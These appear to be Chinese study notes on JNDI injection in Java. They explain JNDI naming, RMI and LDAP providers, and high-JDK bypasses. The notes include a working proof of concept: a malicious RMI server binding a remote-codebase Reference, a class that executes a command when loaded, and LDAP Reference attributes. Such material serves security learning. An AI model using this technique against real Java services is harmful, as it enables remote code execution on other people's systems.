Sources:
- JNDI 注入漏洞的前世今生: https://evilpan.com/2021/12/13/jndi-injection/
- JNDI注入知识详解: https://www.anquanke.com/post/id/205447
- 浅析JNDI注入: https://www.mi1k7ea.com/2019/09/15/%E6%B5%85%E6%9E%90JNDI%E6%B3%A8%E5%85%A5/
- 浅析高低版JDK下的JNDI注入及绕过 https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/
利用:
- 低版本通过Reference加载远程类.
- lookup参数可控, 可直接加载恶意服务器的恶意类
- lookup参数不可控, 但是Server的factoryLocation参数可注入, 可篡改factoryLocation攻击
- codeBase Attack: 似乎非常不常用,暂时pass, 原理可参考P师傅RMI篇.
- 高版本下: JDK 6u141、7u131、8u121之后,com.sun.jndi.rmi.object.trustURLCodebase=false.
- 利用本地的classFactoryLocation实现攻击
- 如: org.apache.naming.factory.BeanFactory
- 依赖Tomcat环境.
- 具体依赖Tomcat中的jar包为:catalina.jar、el-api.jar、jasper-el.jar
高版本利用总结: https://tttang.com/archive/1405/
什么是JNDI
JNDI: Java Naming and Directory Interface, Java名称与目录接口.
- 何为Naming?
简单来说就是一个名称服务, 类似DNS, 文件系统等等. 可以通过一个绑定的名字找到对应的对象.
- 何为Directory?
目录服务, 目录服务是名称服务的一种扩展,它允许对象拥有属性信息等, 及我们通过目录服务,不仅可以直接用名称搜索对象,还可以用属性搜索对象.
- 几个重要的概念:
- Bindings: 表示一个名称与对应对象的绑定关系
- Context: 包含一组名称到对象的绑定关系
- subContext: Context中又包含一个Context.
- Reference: 名称不是绑定到具体的对象上,而是一个可以找到这个对象的东西上,如指针.
- JNDI架构: 主要包括JNDI API和SPI两个部分.
- 什么是JNDI SPI:
就是实现JNDI这一个架构的底层协议. 包括LDAP,RMI,DNS,CORBA.
其中 RMI、LDAP 和 CORBA是JNDI中内置的Service Provider.
- Show me the code
Java的包:
核心是javax.naming
Context ctx = new InitialContext(env);
Printer printer = (Printer)ctx.lookup("myprinter");
printer.print(report);
SPI介绍
RMI
LDAP
对于LDAP这个协议(或者说服务)大致已经有了足够的认识了(应该), 因为Windows域的核心就是这个服务.
LDAP操作: Bind/Unbind、Search、Modify、Add、Delete、Compare
CORBA
JNDI实现
DNSClient
import javax.naming.Context;
import javax.naming.directory.*;
import java.util.Hashtable;
public class DNSClient {
public static void main(String[] args) {
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
env.put(Context.PROVIDER_URL, "dns://114.114.114.114");
try {
DirContext ctx = new InitialDirContext(env);
Attributes res = ctx.getAttributes("example.com", new String[] {"A"});
System.out.println(res);
} catch (Exception e) {
e.printStackTrace();
}
}
}
LDAPClient
import javax.naming.Context;
import javax.naming.directory.*;
import java.util.Hashtable;
public class LDAPClient {
public static void main(String[] args) {
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:8080");
try {
DirContext ctx = new InitialDirContext(env);
DirContext lookCtx = (DirContext)ctx.lookup("cn=bob,ou=people,dc=example,dc=org");
Attributes res = lookCtx.getAttributes("");
System.out.println(res);
} catch (Exception e) {
e.printStackTrace();
}
}
}
RMI Client
import javax.naming.Context;
import javax.naming.InitialContext;
public class RMIClient {
public static void main(String[] args) throws Exception {
String uri = "rmi://127.0.0.1:1099/aa";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
JNDI注入
都是恶意Server Attack Client.
动态协议
根据 : https://evilpan.com/2021/12/13/jndi-injection/#%E5%8A%A8%E6%80%81%E5%8D%8F%E8%AE%AE%E5%88%87%E6%8D%A2
调用context.lookup(“XXX”); JNDI会根据参数自动识别协议和服务并发送请求, 即使在初始Context时设置了类型也无效.
关键点:
- 即使设置了Provider为LocalHost, 也可用改变为别的地址.
- 即使设置了dns协议, 也可以改变为rmi协议.
RMI的利用
低版本下加载远程类
BadRMIServer: 绑定test到一个Reference对象, 该对象引用了EvilClass类.com.sun.jndi.rmi.registry.ReferenceWrapper 在新版本的 JDK 中被移除,需要额外引入对应 jar 包。
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class BadRMIServer {
public static void main(String[] args) throws Exception {
try {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("EvilClass", "EvilClass", "http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("test", refObjWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}
EvilClass: 简单的弹个计算器
public class EvilClass implements ObjectFactory {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
return null;
}
}
Client:
public static void main(String[] args) {
try {
String uri = "rmi://127.0.0.1:1099/test";
Context ctx = new InitialContext();
ctx.lookup(uri);
} catch (Exception e) {
e.printStackTrace();
}
}
仅低版本可用,
高版本jdk将不允许Client加载远程代码. 需要设置: -Dcom.sun.jndi.rmi.object.trustURLCodebase=true
高版本: 8u121、7u131、6u141及以上
Bypass: 只能通过加载本地类利用链攻击
原理? 如果发现RMI对象是Reference, 就会加载并实例化这个类.
应用获取到ReferenceWrapper之后:
- 尝试在ClassPath中搜索该类
- 搜索不存在则到远程地址去加载.
高版本加载本地类
设置了 com.sun.jndi.rmi.object.trustURLCodebase=false 之后想要攻击成功只能依赖于Client本地的利用链了. 参考下文高版本利用:
LDAP的利用
低版本下加载远程类
LDAPServer保存如下格式的Java对象引用:
ObjectClass: javaNamingReference
javaCodebase: http://localhost:5000/
JavaFactory: EvilClass
javaClassName: FooBar
然后在调用lookup方法查询这个对象的时候就会加载并实例化这个EvilClass.
加载本地类
CORBA
存在一个CodeBase Attack , 参考 P牛RMI篇的例子.
高版本利用
利用本地恶意Class
目前见到的只有这个类的利用思路: org.apache.naming.factory.BeanFactory
TODO: 复现
TODO: 分析
LDAP返回序列化数据
“LDAP服务端除了支持JNDI Reference这种利用方式外,还支持直接返回一个序列化的对象。如果Java对象的javaSerializedData属性值不为空,则客户端的obj.decodeObject()方法就会对这个字段的内容进行反序列化。”
TODO: 复现.
TODO: 分析.